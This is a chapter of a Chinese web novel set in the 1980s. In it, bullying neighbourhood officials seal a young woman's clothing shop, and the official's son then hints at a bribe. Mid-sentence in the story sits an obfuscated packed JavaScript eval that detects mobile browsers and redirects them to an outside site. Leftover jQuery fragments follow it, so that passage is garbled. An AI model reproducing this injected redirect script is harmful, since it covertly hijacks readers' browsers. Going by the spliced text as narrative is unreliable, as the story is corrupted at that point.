25. 第 25 章

作品:《八零之得遇良人

    为首的是个四十多岁的中年妇女,梳着时兴的五号头,脸盘宽大,一双眼睛透着精明厉害。她胳膊上戴着一个醒目的红袖箍,上面印着“街道巡查”的字样。跟在她身后的是两个年轻些的男人,一个瘦高,一个矮胖,都板着脸,一副公事公办的模样。


    这几人一来,周遭的气氛顿时就不一样了。原本在街边树下乘凉闲聊的几个老街坊都噤了声,互相使着眼色,悄悄往这边张望。


    “你就是这家店的老板?”那妇女站在店门前,上下打量着宋晚晚,也不打招呼,直接劈头就问,声音又响又亮,带着一股强横的味道。


    宋晚晚心里咯噔一下,面上却仍保持着礼貌的微笑:“是我,同志您有什么事吗?”


    “什么事?”那妇女冷哼一声,眼睛像探照灯似的在店里扫了一圈,“我们是街道居委会的,接到群众举报,说你这里无照经营,卖的衣服布料都来路不明!”


    她说话间,那两个跟在身后的男人已经毫不客气地走进店里,四处翻看起来。


    “你们这是干什么?”宋晚晚急了,想上前阻拦,却被那妇女一把拦住。


    “干什么?检查!”妇女扬起下巴,声音又提高了八度,“把你的工商执照拿出来看看!”


    宋晚晚深吸一口气,尽量让自己的语气保持平和:“同志,执照我们已经申请了,工商局给了试营业许可,正式执照很快就会下来的。我这里有文件...”


    她转身想去柜台拿文件,那妇女却根本不看,直接打断她:“试营业许可?我怎么没听说?没有正式执照就是非法经营!还有,你这些货,”她指着挂满墙的衣服和堆放的布料,“进货单子呢?拿出来看看!”


    一听他们这么说,刚才一直没动作的林默也不禁皱起了眉头。


    宋晚晚则向他使了个眼色,“林大哥,这几位居委会的同志要查我们的执照和进货单。”


    林默点点头,沉稳地走到柜台前,拿出纸笔迅速写道:「所有手续都在办理中,试营业许可是工商局王科长亲自签发的。进货都有单据,可以查看。」


    那妇女瞥了一眼纸条,嗤笑一声:“王科长?哪个王科长?我怎么不知道?少拿这些来糊弄人!没有正式执照就是不能经营!”她转向那两个男人,“还愣着干什么?这些货来路不明,很可能是投机倒把来的,先封存起来!”


    “你们不能这样!”宋晚晚急了,想上前阻拦那个正要去抱衣服的瘦高个,却被那矮胖子有意无意地挡了一下。


    林默一把扶住宋晚晚,面色沉静但眼神锐利。他迅速又写下一行字:「我们有合法手续,你们没有权力动店里的东西。」


    “没有权力?”那妇女像是听到了天大的笑话,声音尖利得几乎刺破耳膜,“在这一亩三分地上,我就有这权力!你们这是抗拒检查,罪加一等!”


    说话间,那瘦高个已经抱了一摞衣服出来,而那矮胖男人更是直接扯下一个装布料的麻袋,开始往里面塞各种布料。


    街对面已经聚集了不少看热闹的人,对着这边指指点点。


    对面杂货铺的老李头摇摇头,低声对旁边的人说:“这‘母老虎’又出来咬人了。”


    “可不是嘛,”一个挎着菜篮的大妈接话,“专挑软柿子捏,看人家小姑娘开店红火,眼红了呗。”


    店里,宋晚晚眼看着自己辛辛苦苦做出来的衣服和赵新民千辛万苦从南方运来的布料被一件件、一匹匹地抱走,心如刀绞。


    这些都是她的心血啊!


    “住手!你们这是抢劫!”她再也忍不住,冲上前去想夺回那些衣物。


    那妇女一把抓住她的手腕,力道大得吓人:“抢劫?我们是依法查封!你再阻拦,就是妨碍公务!”


    就在这时,林默迅速而果断地拉住了宋晚晚,对她摇摇头,然后在纸上飞快写道:「别硬碰硬,他们人多势众,你先冷静。我找人打听一下怎么回事。」


    宋晚晚看着纸条,又看看那些被搬走的东西,眼圈一下就红了,但还是咬着唇点了点头。


    那妇女见他们不再阻拦,得意地哼了一声,指挥手下:“把封条贴上!”


    瘦高个从包里掏出早已准备好的封条,“唰唰”几下就贴在了门窗上。白纸黑字,还盖着红章,在灰蒙蒙的天色下格外刺眼。


    不多时,原本琳琅满目的店铺就被搬空了大半,只剩下些零碎布头和那台沉重的缝纫机还留在原地。那妇女满意地看了看“战果”,大手一挥:“走!下次再敢无照经营,就没这么简单了!”


    三人扬长而去,留下满目狼藉的店铺和面色难看的宋晚晚。门外看热闹的人群见戏已散场,也渐渐议论着散去了,只有几个老街坊还留在原地,探头探脑地往店里看。


    雨水就在这时淅淅沥沥地落了下来,打在门前的青石板上,溅起小小的水花。一阵风吹过,将门上贴的封条吹得哗哗作响。


    宋晚晚望着空荡荡的店铺,心里又急又气,“怎么会这样...我们明明有手续的...”


    林默默默递过来本子,上面写道:「别急,我这就去找人问问。你先休息一下。」


    就在这时,对面杂货铺的老李头瞅准机会,快步溜达过来,压低声音说:“小宋姑娘,林技工,你们这是得罪人啦?”


    宋晚晚摇摇头:“我们安分做生意,能得罪谁啊?”


    老李头啧啧两声,指了指那伙人离开的方向:“那个戴红袖箍的,叫马春芳,可不是什么善茬。自称是街道副主任,实际上啊...”他左右看了看,声音压得更低了,“区里根本没她这号编制!就是仗着跟街道王主任有点……关系,横行霸道惯了。”


    旁边一个卖菜回来的大妈也凑过来插话:“就是就是!这马春芳可是咱们这片的一霸,哪儿有油水就往哪儿钻。你们开店前没去‘拜码头’,她这是故意找茬呢!”


    另一个摇着蒲扇的大爷摇头叹气:“这世道,老实人难做啊。她那个儿子也不是什么好东西,整天游手好闲,招惹是非。”


    正说着,突然有人低呼一声:“哎呀,说曹操曹操到,那不是马春芳的儿子来了吗?”


    众人闻言,顿时作鸟兽散


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475332|185228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,仿佛见到了什么瘟疫一般,瞬间就没影了。只剩下老李头临走前匆匆丢下一句:“你们小心点,那小子更不是东西!”


    宋晚晚和林默对视一眼,望向街口。


    果然,一个二十多岁的年轻男子正吊儿郎当地朝这边走来。他穿着一件花里胡哨的衬衫,领口大敞,头发抹得油光锃亮,嘴里还叼着根烟。


    那男子走到店门前,故作惊讶地瞪大了眼睛:“哟,这不是新开的服装店吗?怎么封了?”


    他上下打量着宋晚晚,眼神轻佻,“这位就是小宋老板吧?听说生意挺红火的啊,怎么说关就关了?”


    宋晚晚压下心中的厌恶,没好气地说:“不知道啊,正想找个明白人问问呢。”


    “明白人?”那男子一听这话,顿时来了精神,挺直腰板,一拍胸脯,“那你可问对人了,我就是明白人!这一亩三分地上,没有我刘小军不知道的事!”


    他凑近几步,压低声音,挤眉弄眼地说:“你们开业前,没去街道找马副主任报备吧?报备过就合法经营了。”说着,他意有所指地眨了眨眼。


    宋晚晚故意装傻:“没有工商执照也能合法经营?”


    刘小军嘿嘿一笑,一副“这你就不懂了吧”的表情:“嘿,这你就不知道了吧?马副主任可有的是办法。要不...”他故意拖长音调,眼神在宋晚晚身上打转,“我帮你跟马副主任说说?我和她熟,帮你说点好话。毕竟你是外地人,人生地不熟的,需要人照应不是?”


    他说这话时,身体又向前凑了几分,几乎要贴到宋晚晚身上,语气暧昧至极。


    就在这时,林默突然上前一步,挡在了宋晚晚身前。他面无表情,但从工具袋里拿出一把半旧的虎口钳,在手里掂了掂,金属的钳身在日光下泛着冷光。


    刘小军被这突如其来的举动吓了一跳,下意识地后退两步。他抬头看着人高马大、面色冷峻的林默,又瞥了眼那把看起来颇有分量的钳子,气势顿时矮了半截。


    “你、你想干什么?”他强作镇定,但声音已经有些发虚,“我、我可是好心提醒你们...”


    林默也不说话,只是默默地看着他,手指摩挲着钳柄,眼神冷得像冰。


    刘小军被他看得心里发毛,咽了口唾沫,嘴上却还不肯认输:“行,你们厉害!有本事别后悔!到时候求我都来不及!”说完,他梗着脖子,故作镇定地迈着四方步走了,但那背影怎么看都有些狼狈。


    等他走远了,宋晚晚才长舒一口气,感激地看向林默:“刚才多亏你了。”


    林默摇摇头,拿出本子写道:「明摆着是敲诈勒索。他们是一伙的,一个唱红脸,一个唱白脸。」


    宋晚晚看完,抬头望向林默,两人对视,默契的没再多言。


    天空中不知什么时候已经被乌云笼罩,七月的雨,说来就来,雨水敲打着店铺的屋檐,发出噼里啪啦的声响。街上的行人纷纷跑着避雨而去,只剩下冷清的一排排店铺。


    宋晚晚望着没贴牢的封条在风中摇曳,又看看空了一半的店铺,心中五味杂陈。